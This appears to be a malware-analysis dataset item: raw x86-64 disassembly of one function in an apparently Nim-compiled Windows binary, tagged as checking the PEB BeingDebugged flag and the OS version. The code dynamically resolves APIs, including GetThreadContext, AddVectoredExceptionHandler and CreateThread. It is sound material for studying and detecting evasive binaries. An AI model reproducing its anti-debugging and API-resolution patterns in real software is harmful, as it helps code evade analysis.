Function at 0x41c420
Capabilities:
Check for peb beingdebugged flag
Check os version

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5e8
movaps xmmword [rsp + 0x540], xmm6
movaps xmmword [rsp + 0x550], xmm7
movaps xmmword [rsp + 0x560], xmm8
movaps xmmword [rsp + 0x570], xmm9
movaps xmmword [rsp + 0x580], xmm10
movaps xmmword [rsp + 0x590], xmm11
movaps xmmword [rsp + 0x5a0], xmm12
movaps xmmword [rsp + 0x5b0], xmm13
movaps xmmword [rsp + 0x5c0], xmm14
movaps xmmword [rsp + 0x5d0], xmm15
lea rsi, [0x0042cec0]
call fcn.00416000
lea rax, [0x0042b6f0]
movdqa xmm15, xmmword [0x00427f80]
mov byte [0x0042b250], 0x11
movq xmm0, rax
mov byte [0x0042b120], 2
mov edx, 0x111
mov ecx, 0x319
lea rax, [0x0042b120]
movdqa xmm1, xmm0
movaps xmmword [0x0042b240], xmm15
movq xmm3, rax
movaps xmmword [0x0042b0e0], xmm15
lea rax, [0x0042b240]
punpcklqdq xmm1, xmm3
movups xmmword [0x0042b258], xmm1
movq xmm1, rax
mov qword [0x0042b140], 0
lea rax, [0x0042b150]
mov byte [0x0042b0f0], 0x11
movq xmm4, rax
add rax, 0x30
mov qword [0x0042b170], 0
movq xmm5, rax
add rax, 0x30
punpcklqdq xmm1, xmm4
movups xmmword [0x0042b0f8], xmm1
movq xmm2, rax
movdqa xmm1, xmm0
add rax, 0x30
mov byte [0x0042b150], 2
punpcklqdq xmm0, xmm2
movups xmmword [0x0042b078], xmm0
movq xmm0, qword [0x00428070]
movq xmm7, rax
add rax, 0x30
punpcklqdq xmm1, xmm5
movaps xmmword [0x0042b0a0], xmm15
punpcklqdq xmm0, xmm7
movups xmmword [0x0042e8f8], xmm0
movq xmm0, qword [0x00428070]
movq xmm3, rax
mov eax, 0x331
movups xmmword [0x0042b0b8], xmm1
punpcklqdq xmm0, xmm3
mov byte [0x0042b0b0], 0x11
mov qword [0x0042b1a0], 0
mov byte [0x0042b180], 2
movaps xmmword [0x0042b060], xmm15
mov byte [0x0042b070], 0x11
mov qword [0x0042b1d0], 0
mov byte [0x0042b1b0], 2
movaps xmmword [0x0042e8e0], xmm15
mov byte [0x0042e8f0], 0x11
mov qword [0x0042b200], 0
mov byte [0x0042b1e0], 2
movaps xmmword [0x0042f610], xmm15
mov byte [0x0042f620], 0x11
mov qword [0x0042b230], 0
mov byte [0x0042b210], 2
movups xmmword [0x0042f628], xmm0
movdqa xmm6, xmmword [0x00427f00]
movdqa xmm13, xmmword [0x00427f90]
mov word [0x0042b2d0], ax
lea rax, [0x0042b2c0]
movdqa xmm10, xmmword [0x00427fa0]
mov qword [0x0042b298], rax
mov eax, 0x216
movdqa xmm8, xmmword [0x00427fb0]
mov word [0x0042b290], ax
mov eax, 0x30e
mov word [0x0042b670], ax
lea rax, str.kClosure
mov qword [0x0042b4c8], rax
lea rax, str.kNoconv
mov qword [0x0042b4f8], rax
lea rax, [0x0042b4e0]
lea rdi, [rax - 0x30]
movq xmm4, rax
mov qword [0x0042b2d8], rsi
lea rax, [0x0042b470]
movq xmm0, rdi
movaps xmmword [0x0042b2c0], xmm13
mov qword [0x0042b538], rax
lea rax, [rdi + 0x60]
punpcklqdq xmm0, xmm4
mov qword [0x0042b680], rax
lea rax, [0x0042b660]
movaps xmmword [0x0042b470], xmm0
movq xmm0, rax
lea rax, str.kind
movaps xmmword [0x0042b280], xmm6
movq xmm5, rax
movaps xmmword [0x0042b6a0], xmm10
lea rax, [0x0042b450]
punpcklqdq xmm0, xmm5
mov byte [0x0042b6b0], 0x12
movaps xmmword [0x0042b490], xmm0
mov qword [0x0042b4a8], rax
mov eax, 0x31a
mov qword [0x0042b6b8], 0
mov qword [0x0042b678], 0
movaps xmmword [0x0042b660], xmm8
mov byte [0x0042b4b0], 1
mov qword [0x0042b4b8], 0
mov byte [0x0042b4e0], 1
mov qword [0x0042b4e8], 1
mov qword [0x0042b530], 2
mov byte [0x0042b510], 2
mov byte [0x0042b480], 3
mov qword [0x0042b488], 0
mov qword [0x0042b4a0], 2
movdqa xmm11, xmmword [0x00427fc0]
movq xmm0, qword [0x00428078]
mov word [0x0042e9b0], ax
lea rax, [rdi + 0x120]
add rdi, 0xf0
mov word [0x0042b3d0], dx
lea rbx, [rdi - 0x60]
movq xmm2, rax
add rax, 0x30
movhps xmm0, qword [str.Field0]
movq xmm7, rax
movaps xmmword [0x0042b410], xmm11
movaps xmmword [0x0042b5b0], xmm0
movq xmm0, rdi
punpcklqdq xmm0, xmm2
lea rax, [0x0042b3c0]
movaps xmmword [0x0042b400], xmm0
movq xmm0, qword [0x00428088]
mov qword [0x0042b398], rax
lea rax, [0x0042b380]
punpcklqdq xmm0, xmm7
movups xmmword [0x0042b3d8], xmm0
movq xmm0, rax
lea rax, [0x0042b400]
movhps xmm0, qword [str.Field1]
mov byte [0x0042b420], 0x12
mov qword [0x0042b598], rax
lea rax, [0x0042b570]
mov qword [0x0042b430], rax
lea rax, [0x0042b410]
movaps xmmword [0x0042b5e0], xmm0
movq xmm0, rax
lea rax, str.fun1
movaps xmmword [0x0042e9a0], xmm6
movq xmm3, rax
mov byte [0x0042b5a0], 1
lea rax, [0x0042b340]
punpcklqdq xmm0, xmm3
mov qword [0x0042b428], 0
mov qword [0x0042e9b8], 0
mov qword [0x0042b5a8], 0
movaps xmmword [0x0042b3c0], xmm6
mov qword [0x0042b620], 0
mov byte [0x0042b600], 2
movaps xmmword [0x0042b380], xmm6
mov byte [0x0042b390], 0x16
mov byte [0x0042b5d0], 1
mov qword [0x0042b5d8], 8
mov qword [0x0042b590], 2
mov byte [0x0042b570], 2
mov byte [0x0042b540], 1
mov qword [0x0042b548], 8
movaps xmmword [0x0042b550], xmm0
movq xmm0, rax
lea rax, str.fun2
mov word [0x0042b350], cx
movq xmm4, rax
movaps xmmword [0x0042b340], xmm6
lea rax, [rdi + 0x90]
punpcklqdq xmm0, xmm4
movaps xmmword [0x0042b640], xmm0
movq xmm0, rbx
movq xmm5, rax
mov qword [0x0042b358], 0
mov rbx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rax, [rdi - 0x120]
punpcklqdq xmm0, xmm5
mov byte [0x0042b630], 1
mov qword [0x0042b6c0], rax
lea rax, [0x0042b6a0]
movaps xmmword [0x0042b450], xmm0
lea rcx, [0x00425610]
mov qword [0x0042b638], 8
movaps xmmword [0x0042b300], xmm6
mov byte [0x0042b310], 0x18
mov qword [0x0042b318], rax
call rbx
test rax, rax
mov qword [0x0042b6e0], rax
je 0x420ef5
lea rdi, [0x0042b8d0]
mov ebp, 0x32c
movq xmm12, qword [0x00428088]
mov r12d, 0x323
lea rdx, [0x0042bb30]
movq xmm3, rdi
movq xmm5, qword [0x00428098]
mov r14d, 0x322
movq xmm7, rdx
sub rdx, 0x1e0
mov r15d, 0x329
punpcklqdq xmm3, xmm7
lea rcx, [0x0042b850]
movq xmm7, rdx
movaps xmmword [rsp + 0x60], xmm3
punpcklqdq xmm12, xmm7
movq xmm4, rcx
movq xmm9, rcx
lea rdx, [0x00423247]
lea rcx, [0x0042b810]
movq xmm7, rdx
lea rdx, str.filename
punpcklqdq xmm4, xmm7
movaps xmmword [rsp + 0x50], xmm4
movq xmm14, rcx
movq xmm4, rdx
movq xmm0, rcx
movq xmm7, rcx
lea rdx, str.line
punpcklqdq xmm14, xmm4
mov rcx, rax
movq xmm2, rdx
lea rdx, str.procname
punpcklqdq xmm5, xmm2
movaps xmmword [rsp + 0x40], xmm5
movq xmm4, rdx
lea rdx, str.name
punpcklqdq xmm0, xmm4
movaps xmmword [rsp + 0x30], xmm0
movq xmm2, rdx
lea rdx, str.parent
punpcklqdq xmm7, xmm2
movq xmm2, rdi
movq xmm4, rdx
lea rdx, [0x0042bb60]
punpcklqdq xmm9, xmm4
movq xmm4, rdx
lea rdx, str.GetConsoleOutputCP
punpcklqdq xmm2, xmm4
movaps xmmword [rsp + 0x20], xmm2
call fcn.00402f30
mov rcx, qword [0x0042b6e0]
lea rdx, str.GetConsoleCP
mov qword [0x0042f190], rax
call fcn.00402f30
mov rcx, qword [0x0042b6e0]
lea rdx, str.SetConsoleOutputCP
mov qword [0x0042f180], rax
call fcn.00402f30
mov rcx, qword [0x0042b6e0]
lea rdx, str.SetConsoleCP
mov qword [0x0042f170], rax
call fcn.00402f30
mov edx, 0x31d
mov ecx, 0x21c
mov qword [0x0042b868], rdi
mov qword [0x0042f168], rax
mov eax, 0x111
mov r8d, 0x312
mov r9d, 0x31f
mov word [0x0042f0c0], ax
lea rax, [0x0042b920]
mov r10d, 0x218
mov r11d, 0x301
mov qword [0x0042f0d0], rax
lea rax, [0x00423267]
movaps xmmword [0x0042b9c0], xmm7
lea rdi, [0x0042b7d0]
movq xmm7, rax
lea rax, [0x0042b9b0]
movq xmm1, rdi
mov word [0x0042b820], dx
lea rdi, [rax - 0x30]
punpcklqdq xmm1, xmm7
movq xmm7, rax
movaps xmmword [0x0042b9f0], xmm1
add rax, 0x60
movq xmm1, rdi
add rdi, 0x60
mov word [0x0042b7a0], r8w
punpcklqdq xmm1, xmm7
movq xmm7, rax
movaps xmmword [0x0042b8a0], xmm1
add rax, 0x90
movq xmm1, rdi
mov word [0x0042b7e0], cx
add rdi, 0x90
punpcklqdq xmm1, xmm7
movq xmm7, rax
add rax, 0x30
movaps xmmword [0x0042b8b0], xmm1
movaps xmmword [0x0042f0b0], xmm6
lea rcx, [0x004220e0]
mov qword [0x0042f0c8], 0
mov qword [0x0042b940], 0
mov byte [0x0042b920], 2
movaps xmmword [0x0042b8d0], xmm15
mov byte [0x0042b8e0], 0x11
movaps xmmword [0x0042b850], xmm6
mov byte [0x0042b860], 0x16
mov byte [0x0042b980], 1
mov qword [0x0042b988], 8
movaps xmmword [0x0042b990], xmm9
mov qword [0x0042b828], 0
movaps xmmword [0x0042b810], xmm6
mov byte [0x0042b9b0], 1
mov qword [0x0042b9b8], 0x10
mov qword [0x0042b7e8], 0
movaps xmmword [0x0042b7d0], xmm6
mov byte [0x0042b9e0], 1
mov qword [0x0042b9e8], 0x18
mov qword [0x0042b7a8], 0
movaps xmmword [0x0042b790], xmm10
mov byte [0x0042ba70], 1
movdqa xmm0, xmmword [rsp + 0x30]
mov qword [0x0042b780], rax
lea rax, [0x0042b770]
movdqa xmm5, xmmword [rsp + 0x40]
mov qword [0x0042ba68], rax
lea rax, [rdi - 0x30]
movdqa xmm4, xmmword [rsp + 0x50]
mov qword [0x0042b7b0], rax
lea rax, [0x0042b790]
movaps xmmword [0x0042ba80], xmm0
movq xmm0, rdi
mov qword [0x0042b748], rax
lea rax, str.trace
punpcklqdq xmm0, xmm7
lea rdi, [0x0042b730]
movq xmm7, rax
movaps xmmword [0x0042b770], xmm0
lea rax, [0x0042bb00]
movq xmm0, rdi
mov word [0x0042e9f0], r9w
mov edi, 0x31f
mov qword [0x0042b8c0], rax
lea rax, [0x0042b8a0]
punpcklqdq xmm0, xmm7
movaps xmmword [0x0042bab0], xmm5
mov word [0x0042b740], r10w
movaps xmmword [0x0042ba20], xmm0
movaps xmmword [0x0042bb10], xmm4
mov qword [0x0042ba78], 0
mov qword [0x0042e9f8], 0
movaps xmmword [0x0042e9e0], xmm6
mov byte [0x0042baa0], 1
mov qword [0x0042baa8], 8
mov byte [0x0042bad0], 1
mov qword [0x0042bad8], 0x10
movaps xmmword [0x0042bae0], xmm14
mov qword [0x0042ba60], 3
mov byte [0x0042ba40], 2
movaps xmmword [0x0042b730], xmm6
mov byte [0x0042ba10], 1
mov qword [0x0042ba18], 0x20
mov byte [0x0042bb00], 1
mov qword [0x0042bb08], 0x28
mov qword [0x0042b970], 5
mov byte [0x0042b950], 2
mov qword [0x0042b978], rax
movdqa xmm3, xmmword [rsp + 0x60]
movdqa xmm2, xmmword [rsp + 0x20]
mov word [0x0042e970], r11w
movups xmmword [0x0042b708], xmm3
movups xmmword [0x0042ee28], xmm2
movups xmmword [0x0042b8e8], xmm12
mov word [0x0042ef70], di
lea rdi, [0x0042ce40]
mov word [0x0042bc40], bp
lea rbp, [0x0042f0f0]
movaps xmmword [0x0042b6f0], xmm15
mov byte [0x0042b700], 0x11
mov qword [0x0042bb50], 0
mov byte [0x0042bb30], 2
mov qword [0x0042e978], 0
movaps xmmword [0x0042e960], xmm8
movaps xmmword [0x0042ee10], xmm15
mov byte [0x0042ee20], 0x11
mov qword [0x0042bb80], 0
mov byte [0x0042bb60], 2
mov qword [0x0042ef78], 0
movaps xmmword [0x0042ef60], xmm6
mov qword [0x0042bc48], 0
movaps xmmword [0x0042bc30], xmm6
call fcn.004176a0
lea rcx, [0x0042bba0]
mov r13, qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov byte [rax], 1
call r13
lea rcx, [0x00403090]
call fcn.00401510
lea rcx, [0x0042f5e0]
call r13
lea rcx, [0x004030a0]
call fcn.00401510
lea rax, [0x0042ed90]
movdqa xmm0, xmmword [0x00427fd0]
mov word [0x0042cf10], r12w
movq xmm12, rax
mov eax, 0x321
mov edx, 0x315
mov word [0x0042eda0], r14w
mov word [0x0042ced0], ax
mov eax, 0x325
mov ecx, 0x315
mov r8d, 0x315
mov word [0x0042ce90], ax
mov eax, 0x324
mov r9d, 0x315
mov r10d, 0x315
mov word [0x0042ce50], ax
lea rax, [0x0042d0e0]
mov r11d, 0x302
mov qword [0x0042cd78], rax
movq xmm7, rax
mov eax, 0x315
mov word [0x0042cd70], ax
mov eax, 0x315
mov word [0x0042c810], ax
mov eax, 0x315
mov word [0x0042c7d0], ax
lea rax, [0x0042cf00]
mov word [0x0042f100], r15w
lea r12, [0x0042ce80]
mov qword [0x0042c758], rax
lea r14, [0x0042cd60]
mov eax, 0x315
lea r15, [0x0042c500]
movaps xmmword [0x0042ed90], xmm0
movaps xmmword [0x0042ce80], xmm0
mov word [0x0042c790], dx
mov qword [0x0042cf18], 0
movaps xmmword [0x0042cf00], xmm6
mov qword [0x0042eda8], 0
mov qword [0x0042f108], 0
movaps xmmword [0x0042f0f0], xmm8
mov qword [0x0042ced8], 0
movaps xmmword [0x0042cec0], xmm13
mov qword [0x0042ce98], 0
mov qword [0x0042ce58], 0
movaps xmmword [0x0042ce40], xmm6
movaps xmmword [0x0042cd60], xmm6
mov qword [0x0042c818], rbp
movaps xmmword [0x0042c800], xmm6
mov qword [0x0042c7d8], rsi
movaps xmmword [0x0042c7c0], xmm6
movq qword [0x0042c798], xmm12
movaps xmmword [0x0042c780], xmm6
movaps xmmword [0x0042c740], xmm6
mov word [0x0042c750], cx
lea rcx, [0x00425650]
mov qword [0x0042c718], r12
movaps xmmword [0x0042c700], xmm6
mov word [0x0042c710], r8w
mov qword [0x0042c6d8], rdi
movaps xmmword [0x0042c6c0], xmm6
mov word [0x0042c6d0], r9w
mov qword [0x0042c658], r14
movaps xmmword [0x0042c640], xmm6
mov word [0x0042c650], r10w
mov qword [0x0042c518], 0
movaps xmmword [0x0042c500], xmm8
mov word [0x0042c510], r11w
mov qword [0x0042c2e8], r15
movaps xmmword [0x0042c2d0], xmm6
mov word [0x0042c2e0], ax
call rbx
test rax, rax
mov qword [0x0042bbd0], rax
je 0x420f01
lea rdx, str.IsEqualGUID
mov rcx, rax
call fcn.00402f30
lea rcx, [0x004256d0]
mov qword [0x0042bbc8], rax
call rbx
test rax, rax
mov qword [0x0042bc00], rax
je 0x420f0d
lea rdx, str.WideCharToMultiByte
mov rcx, rax
call fcn.00402f30
lea rcx, [0x00425690]
mov qword [0x0042bbf8], rax
call rbx
test rax, rax
mov qword [0x0042bbf0], rax
je 0x420ee9
lea rdx, str.SysStringLen
mov rcx, rax
call fcn.00402f30
mov rcx, qword [0x0042bc00]
lea rdx, str.MultiByteToWideChar
mov qword [0x0042bbe8], rax
call fcn.00402f30
mov rcx, qword [0x0042bc00]
lea rdx, str.lstrlenW
mov qword [0x0042bbe0], rax
call fcn.00402f30
lea rcx, [0x00425710]
mov qword [0x0042bbd8], rax
call rbx
test rax, rax
mov qword [0x0042bc20], rax
je 0x420f19
movq xmm2, qword [0x00428098]
lea rdx, [0x00423301]
movq xmm3, qword [0x004280a0]
movq xmm4, rdx
lea rdx, [0x0042e4c0]
punpcklqdq xmm2, xmm4
movaps xmmword [rsp + 0x20], xmm2
lea rcx, [0x0042c130]
movq xmm4, rdx
sub rdx, 0xc90
punpcklqdq xmm3, xmm4
movq xmm5, rdx
movq xmm0, rcx
movq xmm4, qword [0x004280a0]
lea rdx, str.decVal
movaps xmmword [rsp + 0x30], xmm3
movdqa xmm3, xmm0
punpcklqdq xmm4, xmm5
movq xmm1, rdx
movaps xmmword [rsp + 0x40], xmm4
movq xmm5, qword [0x004280a8]
lea rdx, str.RecordDestroy
punpcklqdq xmm5, xmm1
movq xmm8, rdx
movq xmm1, rcx
movaps xmmword [rsp + 0x50], xmm5
lea rcx, [0x0042bf30]
punpcklqdq xmm1, xmm8
movq xmm5, qword [0x00428078]
movaps xmmword [rsp + 0x60], xmm1
lea rdx, str.PutFieldNoCopy
movq xmm9, rcx
movq xmm14, rcx
lea rcx, str.lpVtbl
movq xmm8, rdx
lea rdx, str.PutField
punpcklqdq xmm9, xmm8
movq xmm2, rcx
movaps xmmword [rsp + 0x70], xmm9
lea rcx, str.struct1
movq xmm8, rdx
lea rdx, [0x0042bff0]
punpcklqdq xmm14, xmm8
movaps xmmword [rsp + 0x80], xmm14
movq xmm8, rdx
lea rdx, str.RecordClear
movhps xmm8, qword [str.GetTypeInfo]
movaps xmmword [rsp + 0x90], xmm8
movq xmm4, rdx
movdqa xmm8, xmm0
lea rdx, str.RecordInit
punpcklqdq xmm8, xmm4
movaps xmmword [rsp + 0xa0], xmm8
movq xmm0, rdx
lea rdx, [0x0042bdf0]
punpcklqdq xmm3, xmm0
movaps xmmword [rsp + 0xb0], xmm3
movq xmm0, rdx
lea rdx, str.pvRecord
punpcklqdq xmm0, xmm2
movaps xmmword [rsp + 0xc0], xmm0
movq xmm0, rcx
lea rcx, [0x0042c780]
movq xmm1, rdx
lea rdx, [0x0042c290]
punpcklqdq xmm5, xmm1
movq xmm9, rcx
movq xmm14, rcx
movq xmm1, rdx
movaps xmmword [rsp + 0xd0], xmm5
lea rdx, str.puintVal
punpcklqdq xmm1, xmm0
movaps xmmword [rsp + 0xe0], xmm1
movq xmm1, rcx
lea rcx, [0x0042c740]
movq xmm8, rdx
movdqa xmm3, xmm1
lea rdx, str.pintVal
punpcklqdq xmm9, xmm8
movq xmm4, rcx
movaps xmmword [rsp + 0xf0], xmm9
movq xmm9, qword [0x004280b8]
movq xmm8, rdx
lea rdx, str.pullVal
punpcklqdq xmm14, xmm8
movq xmm8, rcx
movaps xmmword [rsp + 0x100], xmm14
movq xmm5, rdx
movdqa xmm14, xmm12
lea rdx, str.pulVal
punpcklqdq xmm8, xmm5
movaps xmmword [rsp + 0x110], xmm8
lea rcx, str.union1
movq xmm5, rdx
lea rdx, str.puiVal
punpcklqdq xmm3, xmm5
movq xmm5, r14
movaps xmmword [rsp + 0x120], xmm3
movq xmm8, rdx
lea rdx, str.Lo64
punpcklqdq xmm5, xmm8
movaps xmmword [rsp + 0x130], xmm5
movdqa xmm5, xmm12
movq xmm8, rdx
lea rdx, str.Mid32
punpcklqdq xmm9, xmm8
movaps xmmword [rsp + 0x140], xmm9
movdqa xmm9, xmm7
movq xmm8, rdx
lea rdx, str.Lo32
punpcklqdq xmm14, xmm8
movdqa xmm8, xmm12
movaps xmmword [rsp + 0x150], xmm14
movq xmm3, rdx
movq xmm14, rbp
lea rdx, [0x0042c360]
punpcklqdq xmm8, xmm3
movaps xmmword [rsp + 0x160], xmm8
movq xmm3, rdx
lea rdx, str.Hi32
punpcklqdq xmm3, xmm0
movaps xmmword [rsp + 0x170], xmm3
movq xmm8, rdx
lea rdx, str.signscale
punpcklqdq xmm5, xmm8
movaps xmmword [rsp + 0x180], xmm5
movq xmm8, rdx
lea rdx, str.sign
punpcklqdq xmm9, xmm8
movaps xmmword [rsp + 0x190], xmm9
movq xmm8, rdx
lea rdx, str.scale
punpcklqdq xmm14, xmm8
movq xmm8, rbp
movaps xmmword [rsp + 0x1a0], xmm14
movq xmm3, rdx
lea rdx, [0x0042c400]
punpcklqdq xmm8, xmm3
movaps xmmword [rsp + 0x1b0], xmm8
movq xmm8, rcx
lea rcx, [0x0042c6c0]
movq xmm3, rdx
lea rdx, [0x0042c450]
punpcklqdq xmm3, xmm0
movaps xmmword [rsp + 0x1c0], xmm3
movdqa xmm3, xmm7
movq xmm5, rdx
lea rdx, str.wReserved
punpcklqdq xmm5, xmm8
movaps xmmword [rsp + 0x1d0], xmm5
movq xmm5, rdx
lea rdx, str.uintVal
punpcklqdq xmm3, xmm5
movdqa xmm5, xmm12
movaps xmmword [rsp + 0x1e0], xmm3
movq xmm9, rdx
lea rdx, str.intVal
punpcklqdq xmm5, xmm9
movdqa xmm9, xmm12
movaps xmmword [rsp + 0x1f0], xmm5
movq xmm14, rdx
punpcklqdq xmm9, xmm14
lea rdx, str.ullVal
movq xmm14, qword [0x004280b8]
movaps xmmword [rsp + 0x200], xmm9
movq xmm3, rdx
lea rdx, str.ulVal
punpcklqdq xmm14, xmm3
movdqa xmm3, xmm12
movaps xmmword [rsp + 0x210], xmm14
movq xmm5, rdx
lea rdx, str.uiVal
punpcklqdq xmm3, xmm5
movdqa xmm5, xmm7
movaps xmmword [rsp + 0x220], xmm3
movq xmm9, rdx
lea rdx, str.cVal
punpcklqdq xmm5, xmm9
movq xmm9, r15
movaps xmmword [rsp + 0x230], xmm5
lea r15, [0x0042cbc0]
movq xmm3, rdx
lea rdx, str.byref
punpcklqdq xmm9, xmm3
movq xmm3, qword [0x00428078]
movaps xmmword [rsp + 0x240], xmm9
movq xmm5, rdx
movq xmm9, rcx
lea rdx, str.pdate
punpcklqdq xmm3, xmm5
movq xmm5, rcx
movaps xmmword [rsp + 0x250], xmm3
lea rcx, [0x0042c7c0]
movq xmm14, rdx
lea rdx, str.pscode
punpcklqdq xmm9, xmm14
movdqa xmm14, xmm1
movaps xmmword [rsp + 0x260], xmm9
movq xmm3, rdx
movq xmm9, rcx
lea rdx, str.pboolVal
punpcklqdq xmm14, xmm3
movaps xmmword [rsp + 0x270], xmm14
movq xmm3, rcx
lea rcx, [0x0042cc40]
movq xmm14, rdx
lea rdx, str.pdblVal
punpcklqdq xmm9, xmm14
movaps xmmword [rsp + 0x280], xmm9
movq xmm14, rdx
lea rdx, str.pllVal
punpcklqdq xmm5, xmm14
movaps xmmword [rsp + 0x4e0], xmm5
movq xmm5, rdx
lea rdx, str.plVal
punpcklqdq xmm4, xmm5
movdqa xmm5, xmm1
movaps xmmword [rsp + 0x4d0], xmm4
movq xmm1, rdx
lea rdx, str.piVal
punpcklqdq xmm5, xmm1
movaps xmmword [rsp + 0x290], xmm5
movq xmm1, rdx
lea rdx, str.lLbound
punpcklqdq xmm3, xmm1
movdqa xmm1, xmm12
movaps xmmword [rsp + 0x4c0], xmm3
movq xmm3, rdx
lea rdx, str.cElements
punpcklqdq xmm1, xmm3
movdqa xmm3, xmm12
movaps xmmword [rsp + 0x2a0], xmm1
movq xmm14, rdx
punpcklqdq xmm3, xmm14
lea rdx, str.pvData
movq xmm14, qword [0x00428078]
movaps xmmword [rsp + 0x2b0], xmm3
movq xmm5, rdx
lea rdx, str.cLocks
punpcklqdq xmm14, xmm5
movdqa xmm5, xmm12
movaps xmmword [rsp + 0x2c0], xmm14
movq xmm3, rdx
lea rdx, str.cbElements
punpcklqdq xmm5, xmm3
movdqa xmm3, xmm12
movaps xmmword [rsp + 0x2d0], xmm5
movq xmm1, rdx
lea rdx, str.fFeatures
punpcklqdq xmm3, xmm1
movdqa xmm1, xmm7
movaps xmmword [rsp + 0x2e0], xmm3
movq xmm9, rdx
lea rdx, str.cDims
punpcklqdq xmm1, xmm9
movdqa xmm9, xmm7
movaps xmmword [rsp + 0x2f0], xmm1
movq xmm5, rdx
punpcklqdq xmm9, xmm5
lea rdx, str.parray
movq xmm5, qword [0x004280c0]
movaps xmmword [rsp + 0x300], xmm9
movq xmm3, rdx
lea rdx, [0x0042ca90]
punpcklqdq xmm5, xmm3
movaps xmmword [rsp + 0x310], xmm5
movq xmm3, rdx
lea rdx, [0x0042c9d0]
movhps xmm3, qword [str.GetTypeInfo]
movq xmm14, rdx
movaps xmmword [rsp + 0x320], xmm3
punpcklqdq xmm14, xmm2
lea rdx, str.pdispVal
movaps xmmword [rsp + 0x330], xmm14
movq xmm5, qword [0x004280c8]
movq xmm3, rdx
movq xmm14, r15
lea rdx, str.Release
punpcklqdq xmm5, xmm3
movq xmm3, rcx
movaps xmmword [rsp + 0x340], xmm5
movq xmm9, rdx
lea rdx, str.AddRef
punpcklqdq xmm3, xmm9
movq xmm9, rcx
mov rcx, rax
movq xmm1, rdx
movaps xmmword [rsp + 0x350], xmm3
lea rdx, [0x0042cc00]
punpcklqdq xmm9, xmm1
movaps xmmword [rsp + 0x360], xmm9
movq xmm1, rdx
lea rdx, str.punkVal
punpcklqdq xmm1, xmm2
movaps xmmword [rsp + 0x370], xmm1
movq xmm4, rdx
lea rdx, str.bstrVal
punpcklqdq xmm14, xmm4
movq xmm4, r14
movaps xmmword [rsp + 0x380], xmm14
lea r14, [0x0042ce00]
movq xmm5, rdx
lea rdx, str.date
punpcklqdq xmm4, xmm5
movq xmm5, rdi
movaps xmmword [rsp + 0x390], xmm4
movq xmm3, rdx
punpcklqdq xmm5, xmm3
lea rdx, str.int64
movq xmm3, qword [0x004280b8]
movaps xmmword [rsp + 0x3a0], xmm5
movq xmm1, rdx
lea rdx, [0x004235ba]
punpcklqdq xmm3, xmm1
movdqa xmm1, xmm12
movaps xmmword [rsp + 0x3b0], xmm3
movq xmm9, rdx
lea rdx, [0x004235bd]
punpcklqdq xmm1, xmm9
movdqa xmm9, xmm12
movaps xmmword [rsp + 0x3c0], xmm1
movq xmm14, rdx
lea rdx, [0x0042cdb0]
punpcklqdq xmm9, xmm14
movaps xmmword [rsp + 0x3d0], xmm9
movq xmm9, r14
movq xmm14, rdx
lea rdx, str.cyVal
punpcklqdq xmm14, xmm0
movaps xmmword [rsp + 0x3e0], xmm14
movq xmm4, rdx
lea rdx, str.scode
punpcklqdq xmm9, xmm4
movdqa xmm4, xmm12
movq xmm5, rdx
lea rdx, str.boolVal
punpcklqdq xmm4, xmm5
movq xmm5, rsi
movaps xmmword [rsp + 0x3f0], xmm4
movq xmm3, rdx
lea rdx, str.dblVal
punpcklqdq xmm5, xmm3
movq xmm3, rdi
movaps xmmword [rsp + 0x400], xmm5
movq xmm1, rdx
movdqa xmm5, xmm7
lea rdx, str.fltVal
punpcklqdq xmm3, xmm1
movq xmm1, r12
movaps xmmword [rsp + 0x410], xmm3
movq xmm14, rdx
lea rdx, str.iVal
punpcklqdq xmm1, xmm14
movq xmm14, rsi
movaps xmmword [rsp + 0x420], xmm1
movq xmm2, rdx
movdqa xmm1, xmm12
lea rdx, str.bVal
punpcklqdq xmm14, xmm2
movq xmm2, rbp
lea rsi, [0x0042bc70]
movq xmm4, rdx
lea rdx, str.lVal
punpcklqdq xmm2, xmm4
movaps xmmword [rsp + 0x430], xmm2
movq xmm2, qword [0x004280b8]
movq xmm4, rdx
lea rdx, str.llVal
punpcklqdq xmm1, xmm4
movaps xmmword [rsp + 0x4b0], xmm1
movq xmm4, rdx
lea rdx, [0x0042d0a0]
punpcklqdq xmm2, xmm4
movaps xmmword [rsp + 0x4a0], xmm2
movq xmm4, rdx
lea rdx, str.wReserved3
punpcklqdq xmm4, xmm8
movaps xmmword [rsp + 0x440], xmm4
movq xmm3, rdx
lea rdx, str.wReserved2
punpcklqdq xmm5, xmm3
movdqa xmm3, xmm7
movaps xmmword [rsp + 0x450], xmm5
movq xmm1, rdx
lea rdx, str.wReserved1
punpcklqdq xmm3, xmm1
movdqa xmm1, xmm7
movaps xmmword [rsp + 0x460], xmm3
movq xmm2, rdx
lea rdx, [0x00423618]
punpcklqdq xmm1, xmm2
movaps xmmword [rsp + 0x470], xmm1
movq xmm2, rdx
lea rdx, [0x0042d150]
punpcklqdq xmm7, xmm2
movq xmm2, rdx
lea rdx, [0x0042e830]
punpcklqdq xmm2, xmm0
movaps xmmword [rsp + 0x480], xmm2
movq xmm0, rdx
lea rdx, str.GetCurrentThread
punpcklqdq xmm0, xmm8
movaps xmmword [rsp + 0x490], xmm0
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.GetThreadContext
mov qword [0x0042bc18], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.AddVectoredExceptionHandler
mov qword [0x0042bc10], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.RaiseException
mov qword [0x0042f240], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.RemoveVectoredExceptionHandler
mov qword [0x0042f238], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.HeapCreate
mov qword [0x0042f230], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.HeapAlloc
mov qword [0x0042f4c0], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.GetProcessHeap
mov qword [0x0042f4b8], rax
call fcn.00402f30
mov rcx, qword [0x0042bc20]
lea rdx, str.CreateThread
mov qword [0x0042bc08], rax
call fcn.00402f30
movdqa xmm0, xmmword [0x00427ff0]
movaps xmmword [0x0042d0e0], xmm13
lea rcx, [0x0042beb0]
mov qword [0x0042f490], rax
lea rax, [0x0042bc30]
movdqa xmm2, xmmword [rsp + 0x20]
